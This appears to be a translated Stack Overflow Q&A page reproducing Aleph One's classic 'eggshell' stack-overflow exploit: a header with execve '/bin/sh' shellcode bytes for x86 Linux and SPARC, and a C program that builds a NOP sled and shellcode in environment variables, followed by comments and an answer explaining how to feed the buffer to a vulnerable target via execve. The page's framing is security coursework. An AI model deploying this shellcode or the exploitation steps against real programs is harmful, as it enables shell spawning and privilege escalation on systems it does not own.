【问题标题】:Aleph one code - buffer overflow [closed]Aleph 1 代码 - 缓冲区溢出 [关闭]
【发布时间】:2015-12-09 09:41:43
【问题描述】:

我得到了这个 aleph one 的代码:

shellcode.h

#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE    1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE    4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE        4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#endif

eggshell.c

/*
 * eggshell v1.0
 *
 * Aleph One / aleph1@underground.org
 */
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048

void usage(void);

void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
    switch (c) {
      case 'a':
        align = atoi(optarg);
        break;
      case 'b':
        bsize = atoi(optarg);
        break;
      case 'e':
        eggsize = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
        usage();
        exit(0);
    }

  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
  }

  if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

  addr_ptr = (long *) bof;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  bof[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);

  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
}

void usage(void) {
  (void)fprintf(stderr,
    "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}

我正在尝试在另一个易受攻击的程序上使用此漏洞,并且我知道我需要通过 aleph one 程序激活另一个易受攻击的程序。有人可以告诉我该怎么做吗?

【问题讨论】:

  • 请不要在这里询问有关恶意软件开发的帮助,因为拒绝和否决/关闭投票通常会冒犯。
  • @MartinJames,上次有很多关于恶意软件的问题。任何想法为什么?
  • 为什么不问??我这样做是为了研究,而不是为了任何会对某人造成伤害的事情......有价值的程序是我学习的一个程序......
  • 有,但请理解这不是个人问题:) 每当我看到“缓冲区溢出”、“利用”、“漏洞”等。我只是自动关闭并关闭投票。如果它有一丝恶意软件的味道,我总是以这种方式回应。 '我这样做是为了研究' - 我相信你明白恶意软件开发者在撒谎。我不是说你是,但你可能是。
  • 所有这些“shell 代码”漏洞利用仅适用于特定环境和特定编译器。

标签: c assembly buffer-overflow exploit shellcode


【解决方案1】:

问题不是关于恶意软件的开发,而是很多大学的安全课内容!

如果你想在目标程序上运行这个缓冲区溢出,它必须接受输入。你用execve系统调用启动目标程序,它的参数是程序的位置和参数数组。

您从 shellcode.h 获得get_sp() 的地址,您从 shellcode.h 获得shellcode 并填充您的 缓冲区 (会溢出)在 eggshell.c 中。然后你以execve() 启动目标程序,并给出buffer 作为参数并且会发生溢出,这将打开你的shell。

利用示例可以是found here 及其target is here。它不使用get_sp,地址被硬编码在那里。

更新:链接已损坏。您可以使用搜索关键字在 google 上找到类似的存储库 "sploit1.c target1.c site:github.com"

【讨论】:

  • 感谢您的帮助!!!你能告诉我是否有任何方法可以在不使用 gdb 的情况下找到缓冲区地址?因为我需要缓冲溢出的程序是用 gdb 标志编译的...
  • 我已经用gdb搞定了,我不知道其他方法
  • 好的,谢谢,还有一个问题……你知道 align 作为 aleph one eggshell.c 代码的参数有什么用吗??
  • İ 认为它只是用 nop[] 填充鸡蛋,从 nop[] 的末尾开始到开始,反之亦然。大小为 4 的 nop[] 用于 sparc 系统,不适用于 linux。在 linux 上 NOP 指令 =x90
  • 是的,我知道,但他的函数将 align 作为参数之一,但我怎么知道我需要多少 NOP??
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2014-10-05
  • 1970-01-01
  • 2015-12-16
  • 1970-01-01
  • 2010-11-11
  • 1970-01-01
相关资源
最近更新 更多